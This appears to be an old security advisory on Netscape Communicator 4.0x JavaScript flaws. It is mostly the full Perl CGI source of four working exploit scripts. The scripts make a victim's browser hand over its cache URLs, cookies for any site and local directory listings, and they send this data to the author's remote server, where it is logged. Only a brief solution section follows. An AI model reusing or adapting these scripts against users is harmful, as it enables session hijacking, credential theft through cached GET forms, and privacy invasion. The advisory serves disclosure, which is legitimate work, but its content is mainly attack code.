COMMAND
netscape
SYSTEMS AFFECTED
Win NT, 9x running Netscape Communicator 4.05, 4.07, IE5 (others?)
PROBLEM
Georgi Guninski found following. He found a new bug in Netscape
Communicator 4.07, 4.05 (probably others), which allows reading
the user's cache (the URLs the user has visited, including the
info in GET forms). The bug uses Javascript - a link to
'about:<SCRIPT>...javascript code...</SCRIPT>' does the work. A
demo is available at:
http://www.freeyellow.com/members5/guninski/ncache.html
http://www.nat.bg/~joro/ncache.html
Part of the code is borrowed from Dan Brumleve and for better
goodies see:
http://www.shout.net/~nothing/son-of-cache-cow/index.html
Dan Brumleve recently discovered even more javascript security
problems with Netscape (including 4.07). The information below
was posted to comp.lang.javascript and comp.security.misc.
Probably the most direct threat regarding cache theft is recent
CGI submissions using the GET directive. Most people would be
surprised at what lurks in their cache:
http://foo/cgi-bin/enter.cgi?user=bar&pass=x
- cookie-monster.cgi will steal cookies from arbitrary locations;
this is very bad since cookies have been widely deployed for
authentication purposes. The script will prompt you for a URL,
and retrieve all cookies issued to you by that site.
- file-list.cgi will steal the contents of a local directory on
your hard drive. The script will prompt you for a directory
name, and retrieve the names of all the files contained it.
- file-list-old.cgi is a version of file-list.cgi modified to work
on Netscape 4.01.
- cache-cow-4.07.cgi will steal the contents of your cache. It
has precisely the same effect as the exploit announced last
week.
And the sources (fairly small):
#!/usr/bin/perl
#
# cache-cow-4.07.cgi -- Dan Brumleve <nothing@shout.net>, 1998.10.05
use CGI qw(escape unescape);
my $self =
"http://www.shout.net/nothing/son-of-cache-cow/cache-cow-4.07.cgi";
my $cgi = new CGI;
my $action = $cgi->param("action");
if (!$action) {
print "Content-type: text/html\n\n" . <<" EOF";
<html>
<head><title>Cache-Cow 4.07</title></head>
<body bgcolor=#ffffff>
<h1>Cache-Cow 4.07</h1>
<form action="$self" method="post">
<input type=hidden name=action value=launch>
<input type=submit value="Give Dan Your Cache">
</form>
</body>
</html>
EOF
exit 0;
}
if ($action eq "launch") {
my $q = escape($cgi->param("q"));
print "Content-type: text/html\n\n" . <<" EOF";
<title>Cache-Cow 4.07 (activated)</title>
<script>
var slave;
var data = "";
function report() {
slave.location="$self?action=yum";
}
function lump() {
slave.onload = report;
}
function launch() {
slave = window.open("javascript:void(0)", "slave");
document.f.submit();
slave.onunload=lump;
}
function show() {
document.g.urls.value = data;
document.g.submit();
}
</script>
<body onLoad="launch()" onUnload="show()">
<base href="about:">
<form action="cache" method="post" name=f target=slave>
<input type=submit></form>
<form action="$self" method="post" name=g>
<input type=hidden name=action value=show>
<input type=hidden name=urls value="">
<input type=submit>
</form>
</body>
EOF
exit 0;
}
if ($action eq "yum") {
print "Content-type: application/x-javascript\n\n" . <<" EOF";
var s = "";
for (i = 0; i < document.links.length; i++) {
s += escape(document.links[i].href) + "&";
}
window.opener.data = s;
window.opener.location = "javascript:1";
window.close();
EOF
exit 0;
}
if ($action eq "show") {
my $urls = join("\n", map {
$_ = unescape($_); s/^about://; $_ } split(/&/,$cgi->param("urls")));
if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
print FP "\n" . $urls . "\n\n";
close(FP);
}
print "Content-type: text/plain\n\n" . <<" EOF";
Here are the URLs retrieved from your browser:
$urls
EOF
exit 0;
}
#!/usr/bin/perl
#
# cookie-monster.cgi -- Dan Brumleve <nothing@shout.net>, 1998.10.05
use CGI qw(escape unescape);
my $self =
"http://www.shout.net/nothing/son-of-cache-cow/cookie-monster.cgi";
my $cgi = new CGI;
my $action = $cgi->param("action");
if (!$action) {
print "Content-type: text/html\n\n" . <<" EOF";
<html>
<head>
<title>Cookie Monster</title>
</head>
<body bgcolor=#ffffff>
<h1>Cookie Monster</h1>
<form action="$self" method="get">
Enter a fully-qualified URL:
<input type=text name=q size=50 value="http://www.netscape.com/products/security/"><br>
<input type=hidden name=action value=launch>
<input type=submit value="Give Dan Your Cookies">
</form>
</body>
</html>
EOF
exit 0;
}
if ($action eq "launch") {
my $q = escape($cgi->param("q"));
print "Content-type: application/x-javascript\n\n" . <<" EOF";
var slave;
function report() {
slave.onunload = null;
slave.onload = null;
slave.location = "$self" + "?" + "action=" + escape("yum");
}
function launch(x) {
var q = unescape(x);
slave = window.open(q, "slave");
slave.onload = report;
}
launch('$q');
EOF
exit 0;
}
if ($action eq "yum") {
print "Content-type: application/x-javascript\n\n" . <<" EOF";
var l = "$self" + "?" +
"action=" + escape("show") + "&" +
"location=" + escape(location) + "&" +
"cookie=" + escape(document.cookie);
window.opener.location = l;
window.close();
EOF
exit 0;
}
if ($action eq "show") {
my $location = $cgi->param("location");
my $cookie = $cgi->param("cookie");
if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
print FP "\n";
print FP escape($location) . ": " . escape($cookie) . "\n\n";
close(FP);
}
print "Content-type: text/plain\n\n" . <<" EOF";
Cookies retrieved from "$location":
$cookie
EOF
exit 0;
}
#!/usr/bin/perl
#
# file-list.cgi -- Dan Brumleve <nothing@shout.net>, 1998.10.05
use CGI qw(escape unescape);
my $self = "http://www.shout.net/nothing/son-of-cache-cow/file-list.cgi";
my $cgi = new CGI;
my $action = $cgi->param("action");
my $default = ($ENV{HTTP_USER_AGENT} =~ /win/i) ? "c:" : "/";
if (!$action) {
print "Content-type: text/html\n\n" . <<" EOF";
<html>
<head><title>File List</title></head>
<body bgcolor="#ffffff">
<h1>File List</h1>
<form action="$self" method="get">
<input type=hidden name=action value=launch>
Enter a local directory name:
<input type=text name=q size=50 value="$default"><br>
<input type=submit value="Give Dan Your Directory Listing">
</form>
</body>
</html>
EOF
}
if ($action eq "launch") {
my $q = escape($cgi->param("q"));
$q =~ /^\%2F/ or $q = "%2F" . $q;
$q =~ /\%2F$/ or $q = $q . "%2F";
print "Content-type: text/html\n\n" . <<" EOF";
<title>File List (activated)</title>
<script>
var slave;
var data = "";
function report() {
slave.location="$self?action=yum";
}
function lump() {
slave.onload = report;
}
function launch() {
slave = window.open("javascript:void(0)", "slave");
document.f.submit();
slave.onunload=lump;
}
function show() {
document.g.files.value = data;
document.g.submit();
}
</script>
<body onLoad="launch()" onUnload="show()">
<form action="file:$q" method=get target=slave name=f><input type=submit></form>
<form action="$self" method="post" name=g>
<input type=hidden name=q value="$q">
<input type=hidden name=action value=show>
<input type=hidden name=files value="">
<input type=submit>
</form>
</body>
EOF
exit 0;
}
if ($action eq "yum") {
print "Content-type: application/x-javascript\n\n" . <<" EOF";
var s = "";
for (i = 1; i < document.links.length; i++) {
s += escape(document.links[i].href) + "&";
}
window.opener.data = s;
window.opener.show();
window.close();
EOF
exit 0;
}
if ($action eq "show") {
my $q = unescape($cgi->param("q"));
my $files = join("\n", map {
$_ = unescape($_); s/^file://; unescape($_) }
split(/&/,$cgi->param("files")));
if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
print FP "\n" . $files . "\n\n";
close(FP);
}
print "Content-type: text/plain\n\n" . <<" EOF";
Contents of local directory '$q':
$files
EOF
exit 0;
}
#!/usr/bin/perl
#
# file-list-old.cgi -- Dan Brumleve <nothing@shout.net>, 1998.10.05
use CGI qw(escape unescape);
my $self =
"http://www.shout.net/nothing/son-of-cache-cow/file-list-old.cgi";
my $cgi = new CGI;
my $action = $cgi->param("action");
my $default = ($ENV{HTTP_USER_AGENT} =~ /win/i) ? "c:" : "/";
if (!$action) {
print "Content-type: text/html\n\n" . <<" EOF";
<html>
<head><title>File List</title></head>
<h1>File List</h1>
<body bgcolor="#ffffff">
<form action="$self" method="get">
<input type=hidden name=action value=launch>
Enter a local directory name:
<input type=text name=q size=5 value="$default"><br>
<input type=submit value="Give Dan Your Directory Listing">
</form>
</body>
</html>
EOF
}
if ($action eq "launch") {
my $q = escape($cgi->param("q"));
$q =~ /^\%2F/ or $q = "%2F" . $q;
$q =~ /\%2F$/ or $q = $q . "%2F";
print "Content-type: text/html\n\n" . <<" EOF";
<head><title>File List (activated)</title></head>
<script>
var slave;
var data = "";
function report() {
slave.location="$self?action=yum";
}
function lump() {
slave.onload = report;
}
function launch(x) {
slave = window.open("file:" + x, "slave");
slave.onunload=lump;
}
function show() {
document.g.files.value = data;
document.g.submit();
}
</script>
<body onLoad="launch('$q')" onUnload="show()">
<form action="file:$q" method=get target=slave name=f><input type=submit></form>
<form action="$self" method="post" name=g>
<input type=hidden name=q value="$q">
<input type=hidden name=action value=show>
<input type=hidden name=files value="">
<input type=submit>
</form>
</body>
EOF
exit 0;
}
if ($action eq "yum") {
print "Content-type: application/x-javascript\n\n" . <<" EOF";
var s = "";
for (i = 0; i < document.links.length; i++) {
s += escape(document.links[i].href) + "&";
}
window.opener.data = s;
window.opener.show();
window.close();
EOF
exit 0;
}
if ($action eq "show") {
my $q = unescape($cgi->param("q"));
my $files = join("\n", map {
$_ = unescape($_); s/^file://; unescape($_) }
split(/&/,$cgi->param("files")));
if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
print FP "\n" . $files . "\n\n";
close(FP);
}
print "Content-type: text/plain\n\n" . <<" EOF";
Contents of local directory '$q':
$files
EOF
exit 0;
}
This makes makes IE 5.0 go to 100% CPU utilization and hangs the
browser. This happened to me on NT 4.0 SP3 IE 5.0 128 bit.
SOLUTION
Disable Javascript or delete you cache and set size to zero.
Netscape 4.05, 4.07 (and 3.01 and 3.0 Gold) for Solaris 2.51 and
for Linux Red Hat 5.0 and 5.1 are NOT vulnerable to this bug.